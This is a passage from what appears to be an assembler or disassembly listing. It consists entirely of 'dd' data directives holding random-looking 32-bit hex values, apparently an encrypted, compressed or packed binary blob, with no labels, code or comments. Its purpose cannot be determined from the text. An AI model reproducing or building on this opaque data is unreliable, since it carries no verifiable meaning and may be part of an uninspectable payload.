0F7BD5540h, 30FC0E07h, 0B9E2E889h, 4F09DE98h dd 4D33D01Dh, 13D63DB8h, 60C655F7h, 98E40E15h, 0EDC09D76h dd 24BA658Eh, 28F5013Fh, 0E6A108C5h, 0BB297408h, 0F14F1C2Eh dd 0EDF38100h, 0A234B552h, 0B1CA61EBh, 6EF8C7Fh, 77950270h dd 0A9201296h, 0F82FF58Fh, 7A45F156h, 0AA7F357Eh, 14013B9Dh dd 323FB3EEh, 8B754801h, 81C5DF41h, 7D106880h, 4DE94541h dd 0FB4B25F4h, 975C9E6Ch, 4D6B4844h, 2C11DEB9h, 0B8552784h dd 2C685097h, 634937B3h, 81D15B58h, 810A543Ah, 31F9A57h dd 0DA03B157h, 255EF33Bh, 188E56B1h, 49F7A3C5h, 5A51441Fh dd 4D115525h, 0AD3F7553h, 13BEF496h, 8007C0C1h, 6812C6EBh dd 4731406Eh, 0EEF4C8B6h, 0E9510BC4h, 115630DEh, 4782CE97h dd 42AC745Ch, 515FFD29h, 7BE942A7h, 5603F958h, 67F76857h dd 5826B6BFh, 0C91D2EEFh, 45E79F7Fh, 0BC5AE641h, 0B0137419h dd 22F9ED22h, 559CF602h, 50C31F6Dh, 4BB85300h, 50219667h dd 31582D5Ah, 0DF421BFFh, 300B728Fh, 1586C862h, 43DA1421h dd 59128131h, 0A4DDA8A7h, 706BF6EFh, 667D4100h, 0F04E9ABBh dd 7ED998FDh, 3D1C264Fh, 0BAE904E1h, 0B9CCAB12h, 776209E2h dd 92D4428Ch, 33F41083h, 7FDE01CCh, 130B77Dh, 2EB31D7h dd 0FB555A08h, 2133F94h, 7E9DD957h, 0BF932CBDh, 8E123D91h dd 0B594A468h, 0D2F69525h, 2ECE8870h, 20485966h, 0A1E025AAh dd 2652A74h, 4558B3C2h, 0B87D2D7Bh, 2DE95299h, 86C5F965h dd 0E90414A1h, 0ADA41F7Ch, 509A09F3h, 0B006B47h, 1B3D41FAh dd 0DB62E912h, 0F97739AAh, 69002B13h, 0ED12FDBBh, 0D6C4A02Bh dd 0C85B4B46h, 0F801F324h, 0F775E26Ch, 7C2052D3h, 24B99CECh dd 0B0EA530Dh, 805253D7h, 98686658h, 2BE4E92Dh, 5C48B5CBh dd 95048B0Bh, 0E962D8D6h, 2DB056E2h, 60F2AE74h, 82BA1A68h dd 737A775h, 50B4D155h, 55610EE1h, 87DF547Bh, 979511Dh dd 76EBAA54h, 2A2A6922h, 82620DCBh, 0E7AADBBFh, 0E86244DAh dd 0FBF0C78h, 5600F20Bh, 588E3EB0h, 75880CC1h, 0C5405371h dd 49F82E02h, 2304D065h, 80698372h, 0C14C8E52h, 2F416E4Ch dd 625AFEBEh, 7085B0ACh, 5CD24A98h, 6C3B080Fh, 7146BB01h dd 0DFF525F6h, 3012FE32h, 9E62EA10h, 80CE5809h, 82A859DCh dd 3FEFF85Dh, 0BF7FD629h, 0FC2F3C67h, 0C00949F1h, 5E9F34D0h dd 0E913568Ch, 0F8DC7B3Eh, 67778283h, 0FFEEB2C6h, 0B3136554h dd 0C38DC209h, 14F7E995h, 0AD3D563Fh, 69EE487Ch, 0D6E65F04h dd 12C0864Ah, 40FB3BEh, 0F701A8D5h, 0B97CD15Eh, 0D633ED51h dd 0E1815F76h, 49877D72h, 0A2DC5AAFh, 58A87425h, 68808C0Dh dd 0DC28178Dh, 2CA80Ah, 2BB123F3h, 9F48A6E9h, 25EB30B0h dd 31E4FD82h, 8081EA7Eh, 0F8E0D5FDh, 0E67AE10Ah, 76135EFEh dd 0D209CE85h, 0D830A2A3h, 24A0DC5Bh, 8C973ECEh, 0E09C8934h dd 0D3BFD3D1h, 0F8FB3C83h, 284960E8h, 8455E1BFh, 222580B0h dd 823AD997h, 1C9348BBh, 0B7C5240h, 4761A412h, 52D147E0h dd 40626CB4h, 80012FF4h, 0EACC34F2h, 0F107B701h, 555127F6h dd 33A282C5h, 5EFEB801h, 1725BA81h, 0D43B572Eh, 0C44C342Bh dd 60FF2596h, 90EF86FBh, 0BD5D4BD3h, 88D085B9h, 3BC72DABh dd 2EB9E300h, 0B556F41Ch, 0B3129D79h, 0F3EA0DD1h, 0C52E5D21h dd 77D1A1B8h, 0F2325E6Ch, 307F0929h, 1B65271h, 64CE806Bh dd 659E7DE9h, 5EB204Dh, 0CD709A1Fh, 24F42959h, 0EE19463Eh dd 93049E55h, 411E304Ch, 53521282h, 54263CBFh, 39CC2A56h dd 0F53CC688h, 0B10C5194h, 0A049E8Bh, 2754584Fh, 23BE0021h dd 1062F181h, 0CCF080Ch, 0D74441Eh, 6F0185D5h, 5404E84h dd 1E8BF083h, 0C5F1201Bh, 0E9B76B44h, 4CEA891Fh, 0CEC14BB2h dd 0F2295912h, 2DD06408h, 0FAF497C4h, 22AAB64Eh, 62EAFC06h dd 0EFF4138Bh, 0B25DE970h, 3A5A5C8Ah, 0EF21E22Ch, 0B8664A44h dd 0FA04A5E6h, 0BB001B40h, 59EE4188h, 32F2BE04h, 5EC0AFA5h dd 4B2552D4h, 44BD8247h, 340B7DDEh, 63C80F57h, 82CDEF80h dd 0B8DDC5F8h, 0E358C213h, 788A4BE1h, 0FAD85B70h, 0E9B92520h dd 0AB95D2D6h, 4B215BF4h, 8E7F9D7Fh, 100268FDh, 0DCDDA884h dd 79C7015h, 0C050FE25h, 40C40B1Ch, 0BB34282h, 7C65F08h dd 64269081h, 0A1BC5FBBh, 30410D6Dh, 0AC3AAF22h, 0A96384F9h dd 13BFF2BEh, 0EB95E58h, 13C33B84h, 1F096207h, 5E5F74D2h dd 0D3ADB98Dh, 0EA31098h, 2EFD3EE1h, 0D1B7F4D7h, 0FB20C95Ah dd 9E5EBF42h, 752E6CFBh, 2FE07F16h, 67140280h, 294D244Ch dd 0A049527h, 12174668h, 98A3BA29h, 4F70FA97h, 5E3362BEh dd 1C40BF71h, 2F8C2023h, 9ACD27E9h, 58052068h, 1EEA2412h dd 724C71BBh, 0A214120Bh, 0F6DDFDF9h, 792C50B6h, 1E1FBB80h dd 892AAF5Ch, 61C64A10h, 5D69A803h, 1ECF2960h, 65C0E969h dd 63F0ADDEh, 0F95F82A8h, 55BB88AEh, 0C688B862h, 9599F0D5h dd 7EA6C68h, 8E7CDC95h, 5880671Ah, 0AAE9D089h, 0BAB800BDh dd 619D63BBh, 0F7062A57h, 40A98DAh, 282C7B8Ah, 24C17C6Ch dd 27CDEC46h, 0F720375Ah, 0BED988Dh, 0AEA52645h, 0AF316625h dd 2350D0B3h, 1ED8B705h, 0C8189BB5h, 62DE1E13h, 8E995027h dd 63CA5D51h, 6B0FCEADh, 0B35CF93Ch, 0F915960Bh, 0FC500580h dd 0E214EF1Eh, 7C4E2518h, 309B07F1h, 0B10B3957h, 3E10000Fh dd 535977B4h, 83F84F7Ch dd 0B758407h, 4CB7C215h, 0AF625707h, 9AD05B3h, 29DEA780h dd 828A039Fh, 0F38088F6h, 4C9E4617h, 90DA4A01h, 30195AC6h dd 55CA3124h, 289275C9h, 0ED5DE4DFh, 0E969A47Ah, 0DD9292F6h dd 45952FB5h, 0EEF4D2D3h, 0BE6840BAh, 0EC068302h, 75F1890Ah dd 0D98157Ah, 55D035Ch, 729276C3h, 45B23EC0h, 315B2FACh dd 1DB0E1D0h, 32EFDE32h, 0C5234128h, 0C23E6F75h, 69D865C7h dd 0B6C8A29Eh, 35332C00h, 0FCEED14Ch, 214E02E6h, 0D6F72E90h dd 4C546E1h, 0C89BDEECh, 0BB9775E7h, 0BB4A8FE7h, 0B797FF8Ah dd 9D03189Ch, 126FC12Dh, 0FEB8D076h, 136AD590h, 9FCB893h dd 0D3F3B9C5h, 29688E57h, 8B8CDC6Dh, 84815DEFh, 2C025A9Dh dd 504712C8h, 0FB1D23BDh, 0CB81035Fh, 0A3D5A40h, 3E4FBFE3h dd 9EBE0256h, 74C4E9A0h, 0BE591705h, 7EFDFC29h, 98FCE4C6h dd 0C1C0373Ah, 87603D7Bh, 0DE4173F6h, 2D4F7CB9h, 5B2EE4Bh dd 160C4840h, 2D3FBE03h, 0AEC9461Eh, 577A0934h, 0E15238CCh dd 0F0F60882h, 9104D76Fh, 0B13D415h, 0B051E17Ch, 0CEC15247h dd 43EBEE9h, 0BE0C339Bh, 9317B4A7h, 0E58649D2h, 0C801EBD6h dd 2976B768h, 45BA0704h, 403F4520h, 7A0974C0h, 3490EB01h dd 0B6E9DA17h, 5EF70AE0h, 6B8FB8D7h, 0A0807F06h, 2185824h dd 3396D595h, 622D16CFh, 0D7022F15h, 2640A29Ah, 0D1264D0Eh dd 0EBE35Ch, 1E3DCF93h, 98A4A00Eh, 0BDC6FCC5h, 56494E7Ah dd 0C85A7845h, 32FFCBCh, 2F626998h, 0E9289F13h, 0BF3D47EBh dd 0E6D52BDh, 5061077h, 489BECD3h, 0B90FB555h, 0AFD74E6Ah dd 0A3EA1F40h, 0B5C32C17h, 0B2209BF8h, 1287990h, 0F65CB050h dd 20E0C0D8h, 0A75A1A69h, 54C821EEh, 72E93F5Fh, 0E9505980h dd 0B3B142BFh, 1B6E5302h, 0CFABE129h, 0DFC51178h, 9E37A4BCh dd 60CCFB4Eh, 3F8C4115h, 0BB53DD00h, 486914D2h, 0FC1F2F09h dd 310D26Bh, 991F6F79h, 183383F4h, 61C7C191h, 3C386C50h dd 10CA4C38h, 0FDC68572h, 5A7F0E93h, 0D12D05FCh, 3477F8E1h dd 0BF1AB52Fh, 0BA7A3A04h, 0F39D71Ch, 0D2897377h, 0DC30A25Eh dd 27ECD966h, 8CDC29E7h, 0FDEB52B3h, 0C03BE4BAh, 1806EE3Ch dd 94CCE41h, 515E27F1h, 92756F0Bh, 449A406Ch, 3E018129h dd 1007BDBCh, 0E297BA96h, 0E9A02B9Ah, 18B97F14h, 56C3C29Eh dd 0F6FF84B7h, 7D2A0557h, 0E3D1496Ah, 0F03B7850h, 68757B12h dd 0B06E3840h, 853EF121h, 0C35184CDh, 0B2B78CE9h, 1F6AEEFBh dd 0BD6296D5h, 0E32E7B16h, 2140D82Eh, 0F6709F1Ah, 88DBC435h dd 0F261AAC5h, 405F1F9h, 90B9557Ah, 777EEC65h, 39BE6E48h dd 91888918h, 0C3E77F01h, 4774C25h, 76806E9h, 6B23CD7Eh dd 41D1EDCCh, 0C1AD446Ah, 2BD097F0h, 1385A5B8h, 742BB471h dd 4ED53312h, 0C5D49603h, 76ACBCEDh, 5BE5F65Ah, 5C3768BEh dd 0D4D22DA0h, 2A4B6ADDh, 97BBEB84h, 29F5D7A0h, 0A5A9A5DFh dd 83A784E0h, 0BFB2C2E1h, 7BF6C9DDh, 2C88127Eh, 0B1A0B79Eh dd 17CF9D9Eh, 5A7B05D0h, 22C3F0AFh, 76EC1BD3h, 0B1AFE2A4h dd 42AECE9h, 0BFF20913h, 0C076630Eh, 54843CCh, 0DB7D0075h dd 7BC2D1Ch, 57EA2B46h, 3E535003h, 3993FE9h, 6022B94Ch dd 0B3E7140Bh, 5260AB95h, 8FB151BAh, 0F6C12CFEh, 57210E15h dd 21DBAE17h, 0EADDE91Fh, 5AD7149Ch, 742D805Eh, 8181CD27h dd 604A440Ah, 8E0FF1AEh, 6609C9C0h, 297AA177h, 69C3DC88h dd 0ACD24FABh, 10C4120h, 61332558h, 7A501971h, 35FC349Dh dd 0FB75037Dh, 55630567h, 42757FAAh, 360B7D6Ch, 892CCDFFh dd 8FF169E9h, 0DE4DB801h, 4C305F74h, 0D8CE9F89h, 590229B7h dd 0E95586CBh, 0B801FFAAh, 7CC2326Bh, 3730E8D1h, 758F4A68h dd 0C498EF6Ch, 40AF2DE9h, 6C16D549h, 840F0486h, 0F2FDA3B9h dd 0EA187016h, 77682730h, 0ADF5990Fh, 0F500C774h, 0BD5F283Eh dd 0DD780AA2h, 0B482315Ch, 0B905D5E8h, 0FFE2B509h, 1860E90Bh dd 534F2E66h, 0C685DFBDh, 1FB2AAB0h, 0F2CD0F16h, 0C0F284BEh dd 803199BFh, 38086BA8h, 7E68155h, 277743D9h, 0C4E9174Eh dd 5BFEA73Ah, 394F3CEEh, 485F8240h, 4F059E43h, 8050C451h dd 8E08B85Ah, 0E2181A6Eh, 0DE0BC12Ch, 39948CC7h, 21F02D66h dd 814B303Ah, 4A3343D6h, 5DEE6859h, 732FD171h, 225DA7A4h dd 906CD6FFh, 0B50BB7D1h, 1D889FF1h, 21584313h, 48F57B10h dd 2F363505h, 3608BB93h, 247288B7h, 890E273Dh, 2FE8756Bh dd 7DE62A06h, 41A08D9Ah, 0E3F2498h, 45CA874Ah, 73BEF76h dd 0BF34E99Eh, 5804BE8h, 29796342h, 49BA094Fh, 0F4E09557h dd 5504E6BBh, 0CB877C35h, 4BAD97h, 16B31366h, 6D2D0C22h dd 0F10A3138h, 42DF0D1Eh, 0F47BCC80h, 51D80176h, 98A00705h dd 34E78112h, 8FB6E32Fh, 7632E9F2h, 5F08B84h, 2D5F2075h dd 4B7958D8h, 0A11BEC10h, 0F57E685Eh, 0B28455A8h, 2CFBB450h dd 994106A2h, 0B488F541h, 6AF00CAFh, 423CAD06h, 9115A1Dh dd 0BCA1451h, 2DF367DFh, 0CF40E71Ah, 0C94C0C9Bh, 0A4F618BFh dd 3C5B6658h, 5AAA1F04h, 5ADCFCFFh, 0F3026780h, 0EF8568E5h dd 367BB1F3h, 0FC2A9E89h, 17365B31h, 39341C72h, 7A52F4DBh dd 8456B850h, 28957082h, 0BE41D59h, 168654F4h, 0C1C444F5h dd 0A681118h, 0A99C0010h, 0E798512Fh, 1926713Ah, 0D3F7015Ch dd 68F7817Fh, 30BB2BCAh, 8E163C0Bh, 5A3A7A58h, 2DFEBC17h dd 10AD7D0Eh, 5A3BA949h, 0EE964712h, 0AEECD399h, 3B5799CFh dd 3AFBC90h, 5E776F35h, 11B9E599h, 0AB022E7Fh, 1C478BFBh dd 50287DB9h, 2AA805B4h, 5F1BCB07h, 7589E801h, 5B5DEEA3h dd 28FEF64Ah, 0FE401086h, 1B52751h, 0EB3324F0h, 24FA25A6h dd 1715D04Ch, 0E4E41DF8h, 0FB2893E4h, 1F61E760h, 6970989Eh dd 87D71BB7h, 8D843089h, 5D7EF6ECh, 340D5851h, 0E8E08842h dd 30CB5448h, 5809DC5Fh, 0B08BC8D3h, 5168B67Ch, 0E941ED95h dd 0ED400525h, 12705499h, 0FCB297Fh, 87006A56h, 1C5833Bh dd 0F1138173h, 45043A57h, 0A38AAEC8h, 70B257Ch, 0BAA2B4E6h dd 0CA5231D4h, 5CC704C7h, 4A97B901h, 0F1F3308Eh, 15448909h dd 0DC06622Ah, 0F35D4129h, 4C14290Fh, 913F2A81h, 9799F4BDh dd 8832EED1h, 2C6F656h, 66AB5E7Dh, 0D5D00977h, 9586704h dd 331E5054h, 0C1A1632Bh, 55776C02h, 0F55839C6h, 8E0F8116h dd 0C0494B62h, 0FF140FE7h, 7566B00Eh, 0F7B425F6h, 4E62D6F4h dd 838C7E8Eh, 14971E90h, 3F5882DAh, 0F8685304h, 47ED7671h dd 0BECAC93h, 762E7520h, 6008A023h, 0E3F785Bh, 2AC2569Ah dd 8A38E23Eh, 720C2EF9h, 0EED3CD95h, 0BBBA5AD0h, 4E3F3241h dd 133F1AE0h, 7E03BD19h, 4FEDB40h, 0D6B050CAh, 2F32BB20h dd 2C835DE6h, 0D8819B2Ch, 0AE5FD304h, 0B8B575F8h, 0B25A8ACEh dd 0DF59EE0Bh, 82F7599Ch, 3868994Ah, 3DD4665Ah, 0C81009B3h dd 76E9122Eh, 24882AA0h, 1B05BF9h, 59EF287Dh, 0D815CD80h dd 0B60952CFh, 75EEC012h, 9C1D4F22h, 57440102h, 0F22C1447h dd 36BF57C0h, 4C582812h, 28B618A9h, 22090D4Dh, 0C2420828h dd 5E573C03h, 0ED38E954h, 60D7F2AEh, 74680255h, 630D9E1Eh dd 0CB100EBDh, 2D037A71h, 75865BC1h, 7FFE25D1h, 0D6FA5DCCh dd 9E60D759h, 690BFB6h, 4C9F7A78h, 77247B41h, 35CE82C0h dd 0DB605718h, 7B2ECAC6h, 0C80B2061h, 0CF17F98Bh, 5C133ECCh dd 0FA2821B3h, 44651803h, 1DDF75Bh, 79CD8104h, 3009737Fh dd 0E4096A01h, 8229B0B6h dd 5FAE4D71h, 7D9581F2h, 55C75201h, 0EF0A845Ch, 0BD85D4CBh dd 58334D0Eh, 16B3EECBh, 0BF776E7Dh, 8134284h, 71885018h dd 5F2B0727h, 2983EDD1h, 0CD0240A0h, 5509F184h, 0D9C30FE9h dd 0CAC98BAEh, 234BE4FAh, 543D73A4h, 0F8C8A87Dh, 83C3629Dh dd 7BE193F2h, 3EC56118h, 46F31B5h, 0BAA8BF06h, 99344FE5h dd 16BD9C7Ah, 0A0CEAB5Fh, 663C804Ah, 0C0A00DBDh, 19C657B4h dd 29125EF7h, 2E5EAFEh, 57DD6A04h, 85C2D342h, 501C080Ch dd 633E4E10h, 841B048h, 2FACDA88h, 9D052824h, 84E982A8h dd 0B102D15Fh, 0F08B7EC1h, 0EE685200h, 5A5DBC3Eh, 213440DFh dd 1BE9870Dh, 0D5C0B842h, 0A0FE744Eh, 0A4D1669h, 0FF27661Dh dd 2B832718h, 8343C4BFh, 6849C299h, 27685BB2h, 0FBD160D6h dd 87167B80h, 0CCA8117h, 70EF7D72h, 0D9E37F88h, 945F3477h dd 5AFF9659h, 0CC1A4FB2h, 7FF88B19h, 0BE9C529Dh, 1F2F882Ah dd 0FD025F29h, 5D587B40h, 57822E0h, 17D653Ch, 0BA8A5F2Dh dd 903B8959h, 0DCED94AFh, 29E62Fh, 1A84F50Dh, 58D97925h dd 683E16E8h, 0C0D9502Ch, 2EB56A4Ch, 286FE910h, 375C5938h dd 87C0063Eh, 0B6DF958h, 0DC9E7C1Bh, 0DD7212FEh, 0DE446BF6h dd 0D8103BD2h, 605B6216h, 9E4B1D3Dh, 32E96F0Ch, 5C291A94h dd 0AC2528EFh, 0E8E2E6E8h, 2D155C82h, 81B9C57Eh, 629872A7h dd 57B211E9h, 10D5C6E2h, 9DD210E3h, 84EF345Eh, 53BFA40Dh dd 5FC7A4B0h, 2FF4D6B7h, 0C70B37Eh, 0EE34D683h, 133F4629h dd 0E2CFEE20h, 1005269h, 798052F9h, 0D8E25895h, 5AD1F0B3h dd 0FDC83125h, 6CBD5A9Ch, 0E9D117FFh, 0C75BB4DDh, 6619200Bh dd 0A0B3D476h, 1E5A6008h, 5D9A2CC9h, 7470E095h, 91E5B5C8h dd 3057A5h, 1FB968A0h, 9F4F3EB9h, 374C4DC2h, 4EDE307h dd 867FAD02h, 0FC1BE89h, 0FE04CB0Eh, 7980F3B0h, 0E58816ECh dd 28A0858h, 0DEB574B1h, 18F0B86Bh, 0EF55B719h, 7B571260h dd 72D5AA09h, 0BE07EAECh, 29F7385Ch, 4422B68Eh, 0AFD52EAEh dd 4FB9209Dh, 4AE9FEE2h, 0B82500E8h, 0D164194h, 83A99B2h dd 516CAD58h, 6611A0FFh, 3BD6C05Dh, 0D25B949Dh, 0BE130507h dd 7B13F7B0h, 447A7327h, 2CEC95A8h, 2DBE6BD0h, 575162FCh dd 0E96598E5h, 0C8E440ACh, 5513E1CFh, 0D4FE23A2h, 16808435h dd 68D6420Bh, 4F5D2BFDh, 385FA7CBh, 978BE96Fh, 0AA4C0762h dd 8137797h, 92751653h, 4DC92B0h, 0E919E33Ah, 916A0D8h dd 87A8DF4Fh, 1A226A02h, 0D0564220h, 68597C25h, 57C2002Fh dd 964D6B8h, 0CAF2D74Ah, 0C6650DEh, 0A0520E9h, 81E300D1h dd 0F6D33AF3h, 72C53188h, 7582F989h, 0FA720BDCh, 75B4E62Eh dd 66AAEC0h, 6B2D505Eh, 251825E9h, 972F5DECh, 3ECB4E46h dd 0A5BBD701h, 0D797F84Ah, 0E98BD8AFh, 0DA38F925h, 67446BB5h dd 0E596F5Dh, 0FE16BDFFh, 0F6D2CECAh, 5FFA17ECh, 0BDB4F9E8h dd 8DC4104Fh, 10F1800Ch, 89804792h, 0FAF0BDEEh, 42A162BFh dd 8431E572h, 0E49D38E9h, 1F003CFAh, 0D0F73A8Ch, 30606C05h dd 450F1875h, 925A3DF4h, 0BD4413EEh, 9E520564h, 0A2B0D29Fh dd 0C809C57h, 0E90BD3F7h, 0CF5AF3EBh, 0E99F29ABh, 5C443446h dd 2E2A6816h, 9ED89AE2h, 0F737053h, 1633FCB5h, 995AFFEAh dd 0A8C4DF0Ch, 5E62CA58h, 0C8FEDB01h, 0B5E4C324h, 81D93F8h dd 0B626D9A4h, 0DD6D4D00h, 9FEF350Fh, 0E1F4CDD8h, 7E0D645Bh dd 0F2603B25h, 7419122Eh, 0F77CB440h, 3D72D4F7h, 89450D28h dd 471F06F8h, 0C7DF6DBAh, 810851F9h, 0AB05021Ch, 0A36B587Fh dd 7D11C10Eh, 0F0C531D2h, 0E9094D66h, 6C7EAF40h, 3F9BE95Bh dd 56D95FC2h, 8402BF62h, 16FC6514h, 0CCEAD11Dh, 351893C7h dd 0B0780D0Bh, 31A0A214h, 7DF84AD9h, 36203764h, 0A4681C49h dd 9E552F56h, 9A60A0D1h, 569D3C7Dh, 0C4CFB9DBh, 0C6CA02D6h dd 0F5E44E7Bh, 0BEE3821h, 56C0A2E5h, 45351E95h, 0C0DE0115h dd 0AE3A9370h, 685B3930h, 0BAC63C4h, 77B2E97Ch, 500152Fh dd 0E5355F33h, 5EFC0A1Dh, 0F12FF342h, 7A685544h, 28013424h dd 163C2D7Eh, 9FE82139h, 0D34625FAh, 0B6DEB302h, 0AA64FD09h dd 62B784F6h, 55C3AB57h, 3D26276Eh, 7EAA35A5h, 0A82D557Ah dd 4FE27CB5h, 405B5D0Dh, 635E1969h, 0AEA51B5Eh, 0B00D135h dd 9F0A6EE9h, 8F980AE6h, 4731350Fh, 0BBDFE607h, 70C0971Eh dd 0B62719AAh, 87E8879Ah, 85069A3Fh, 0A2BBE87Dh, 0DD88C05Eh dd 0C00E1EE9h, 0F659EE11h, 0C65FFED6h, 0E135ACF0h, 0E443FFDEh dd 2587F3FBh, 5065EF5Ah, 8266F2FFh, 0FF2D2568h, 0F226AB15h dd 40069810h, 1A064335h, 73728382h, 0F780E91Ah, 59ACC122h dd 0F04DA46Eh, 7C5B5E25h, 96724B7h, 185D3280h, 95B02009h dd 2EA005ECh, 0C917187Bh, 0E840151h, 0B8B60812h, 270DCE40h dd 5F417361h, 12AE05F4h, 8416FE80h, 60C64F09h, 9576846h dd 5A84D8B6h, 8B69F95Eh, 0D7978957h, 22558D8Bh, 764990B5h dd 75E90948h, 4D25EA7Eh, 53E9890Ah, 20B345F0h, 0C7EB8087h dd 0B551CB00h, 80F59544h, 0E97AC3E9h, 0EABA4F91h, 76082D44h dd 79DDFB13h, 0CEC905F8h, 0FCA0AD1Ch, 2D60636Eh, 8D0D500Bh dd 18CC232h, 0F0E2E907h, 1F4EAC4Ah, 68064563h, 0D108005Eh dd 13A0A08h, 83D46CB7h, 1C10420Ch, 6152BF5Bh, 9ED60A4h dd 60393B9Ch, 3D7BBE81h, 7E60FAD3h, 1F252264h, 1AC25768h dd 9CC60809h, 0FE2DD090h, 2414CD5Fh, 33904240h, 9476801h dd 41758B51h, 0B8E6566Fh, 0C460183h, 0BD55FC22h, 1665F23Eh dd 90BAA78Bh, 5AAD7790h, 2FEC2090h, 54574727h, 2805005Ah dd 31A3AE12h, 0D2C522F3h, 0E3103BFCh, 0EC800B6Bh, 1F2CF8B7h dd 9605E4C0h, 0ED8D5312h, 583E8A18h, 0F1E2810Ah, 380EAADh dd 5FB13C6Fh, 0EB20841Ah, 25E9B23Ch, 567109F3h, 55401A93h dd 4B36A4BBh, 0B8015B27h, 0ABCEF1E7h, 16FC2CA7h, 0D5F6933Fh dd 0AA876013h, 4EE6DE0Ch, 801830B5h, 6D7D355Bh, 7B23EF27h dd 248FA89Dh, 89FDF245h, 0C3875DEBh, 0AE57B401h, 0D1B93516h dd 0EBA5F9C5h, 96A4B62h, 80DE09FFh, 291754AEh, 1D58B561h dd 85EA133Dh, 644DE94Eh, 0C78640FCh, 0F5048F7Ah, 1F8C8EC5h dd 0A128C2h, 0F37FA025h, 4133571h, 2D430240h, 8F0C0EECh dd 597DEB60h, 0AD564A51h, 0A008415Fh, 5805141Ch, 0BCE95350h dd 815E84F8h, 482B53h, 2F3E4CBDh, 76F033ABh, 3D7A1902h dd 0DFF0B0E9h, 5C49D6F1h, 1688464h, 0C9E90F16h, 61E4D5E2h dd 0FE97E8E4h, 0BCB54043h, 0C02CCDFEh, 0E10928E5h, 30C47779h dd 2FC43D4Ah, 0F5229B6h, 25611627h, 80202CB8h, 6D4849C5h dd 54E91622h, 24A4B3A2h, 7DAF9404h, 0E25AB819h, 8509C7DDh dd 8D782F68h, 910422h, 8110EE87h, 0F89D411Fh, 0D72E04C9h dd 0A006E946h, 9070B4CDh, 6C58E325h, 598D9074h, 0E90D5EB3h dd 0D22E67B1h, 5BF93EE0h, 73F62858h, 0F82AC364h, 136EB0C3h dd 0F662906h, 0BBFE46B2h, 71165932h, 2E6B4C75h, 0BB63A9A2h dd 20C2D516h, 3B2045F3h, 60253000h, 0D29DF09h, 0F7331D59h dd 13A6417Eh, 0FEE93AC8h, 3658EEA6h, 725D27Fh, 0E5770F23h dd 26926E0Ah, 0F7967F5Dh, 3B7C6220h, 1896525Bh, 0CA9BD326h dd 38387399h, 276808EEh, 5FE90548h, 1C05A9E0h, 742F9B1Bh dd 9D805A40h, 7421737Fh, 7E05BBB8h, 906D965h, 17DCBF9h dd 4637BD38h, 0EDF8BB53h, 48608BBFh, 7E2A68C4h, 0D03F3209h dd 53D7C19Ch, 85B81F73h dd 0BA7DCB29h, 0EE54CF0h, 48EA3E67h, 0A1241DEh, 625506C9h dd 0B64B7713h, 1614D48Ah, 3A7C5AA3h, 0E8DA145Bh, 537118FBh dd 30F1C531h, 0EDE6A130h, 901D15CEh, 692C136h, 149D20AFh dd 1F9954E6h, 81909A6h, 11F8C343h, 9B4D480Ch, 0FA5F3E38h dd 6B4B583Ch, 0A854EF72h, 2D64A508h, 20B1B6DFh, 660B92F5h dd 5A536168h, 9DF811Ch, 47A2011h, 8107A0EFh, 2A78CA05h dd 58806DF4h, 7C194452h, 73EA003Dh, 0E910DD4Ch, 7E9F8DF0h dd 0F2D44049h, 0EDA099CFh, 512C0AADh, 7E00A907h, 0E9A665D7h dd 276AB6B8h, 61F03A7Ch, 0F217C052h, 6DFF0B43h, 812D5097h dd 0B05503AAh, 0EF36D00h, 7C2D7BEEh, 223926A7h, 1CBE038Eh dd 89906C26h, 214E5EF1h, 0A28CB9C1h, 9211377Bh, 29D50B0Fh dd 3FD15D54h, 30942EA8h, 4925DB27h, 68182670h, 3BBB4EB4h dd 2EA29F76h, 5A04801Fh, 680B0EF3h, 1664EADh, 0C090507Ah dd 581FA600h, 0F50DD8F7h, 2199252Ch, 0EA048E7Ch, 0B6C5F425h dd 0FAA6812h, 0D287E990h, 5A56AB42h, 277B75C9h, 0C028912Dh dd 66036C2Ch, 292CF81h, 0ABC70A0Fh, 99A1E5EFh, 3C18F7F9h dd 6DE1FB0Ch, 65E36E1Dh, 1CC3F181h, 0C46A4CD7h, 6916EB10h dd 1B4647D1h, 0DFE2FA04h, 7F25C8Eh, 0BAB8BD7h, 5E8AB47Fh dd 4A6EAD68h, 7FB58021h, 799FE2DFh, 1C5D16A6h, 9DD92E3h dd 68FC6A8Ah, 0C886CD63h, 2DF726BCh, 307D4DDDh, 3F703C20h dd 8B3D092Eh, 9269FB4Eh, 4891D06Eh, 130B4778h, 89CF8DB8h dd 0BE80D58Fh, 765A9A35h, 0B102D4E1h, 39C1A726h, 0A955518Ah dd 59BB6027h, 24E0F35Ah, 0B46B2AEh, 27D01783h, 0CB4BA0F7h dd 26F965C7h, 1EB94B0Fh, 293AB187h, 0E9535CDAh, 7782425Eh dd 0FE7F6180h, 8A0A38CFh, 6819814Bh, 38D2B92h, 94440220h dd 0A80F4FFBh, 0FC7E9D3Ah, 0C6E34825h, 0E4D8BC87h, 8880EC8Ah dd 5C92C2Ah, 5E705F68h, 15A20A32h, 31B0609Dh, 82B0F7B3h dd 0DD095870h, 0DFE8305Bh, 7AB4666Eh, 0E921B5C0h, 2F88BE22h dd 0C077145Fh, 262DB926h, 3127192Ah, 98B45C8h, 0D2A595E9h dd 358A0009h, 5DF357FBh, 14C70125h, 29E9129Ah, 0D77A807Fh dd 0D595875Ah, 6F8C3438h, 6DC2F49Fh, 2F803A6Ah, 405EE950h dd 0B2005214h, 8E2C0DFh, 0C20AC280h, 8AE9050Ch, 0E779207Fh dd 60B9224Ch, 783B0C02h, 58956DFAh, 734C9573h, 3602A090h dd 29F41DD7h, 8A1C57FBh, 0D9802127h, 0C3B8275h, 0B9610908h dd 57F33A43h, 0C9767316h, 52F22E73h, 96E91698h, 0A293C15Eh dd 0A72EC1D3h, 982AE23Bh, 706853F8h, 62E13C94h, 0EE94B05h dd 0FAB4A490h, 212DF612h, 0E91655CEh, 59888038h, 0B14B6852h dd 212B40D9h, 0EECF1Fh, 9D696068h, 47FC0466h, 0F51DFA62h dd 9FB21837h, 2C5DC0A0h, 2A857B51h, 0B6FA4B12h, 0B9510041h dd 223F4092h, 56C90481h, 0C14D2319h, 0F059D279h, 0CE75296Fh dd 80C987B4h, 0AC0F4134h, 4668BD0Ah, 4D981EDAh, 1F59DCB0h dd 0FD79772Eh, 6508EF6Fh, 0B9574A9h, 4D24C8BAh, 45607241h dd 422C8086h, 0A3F22BE4h, 37BF815Ah, 0F1F2AF34h, 7B5FDAEBh dd 105D6B77h, 808444FFh, 6173CB80h, 0C57E333h, 0B4EEF1C3h dd 0A4DBAD7Fh, 590E50C1h, 0EB6E343Bh, 443134D1h, 18D2E528h dd 